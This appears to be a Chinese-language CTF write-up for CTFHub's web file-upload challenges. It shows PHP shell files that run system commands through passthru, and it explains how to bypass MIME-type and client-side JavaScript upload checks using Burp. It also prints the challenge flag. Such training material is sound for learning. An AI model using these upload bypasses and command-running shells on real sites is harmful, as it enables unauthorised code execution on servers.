【Writeup】CTFHUB-技能树-Web-文件上传

 

MIME绕过

 

随意上传php文件会显示文件类型不正确:

在本地写一个一句话木马:

1 <?php
2     passthru("ls /var/www/html");//执行外部程序并且显示原始输出
3 ?>

上传,Submit后通过Burp抓包,修改请求头中的Content-Type为image/jpeg,放到Repeater中调试。

发包,发现文件上传成功,路径为upload/test.php

发现var/www/html目录已被列出

此处可以使用菜刀、蚁剑等客户端查看,我选择继续上传木马查看flag_621016788.php的内容(注意不能直接在浏览器中访问)

1 <?php
2         passthru("cat /var/www/html/flag_621016788.php");
3 ?>

重复之前的操作(上传成功-访问路径),此时在页面中看不到任何内容,查看响应发现flag(被注释掉了):

1 <?php // ctfhub{d9687ec78b08b67501144683517087233525cec8}

 

前端验证(js)

 

解题中用到的木马与思路与MIME绕过类似,在此不赘述

上传php木马,用burp抓包,但还没抓到的时候就显示“文件不允许上传”,说明这是在前端进行了验证:

修改木马扩展名为jpg,并在抓包后修改回php,Forward即可成功上传

余下与MIME绕过过程相同

 

无验证

与上述两题思路相同,因为没有验证所以直接上传php即可

posted @ 2020-04-24 16:49  AFJ1923  阅读(329)  评论(0)    收藏  举报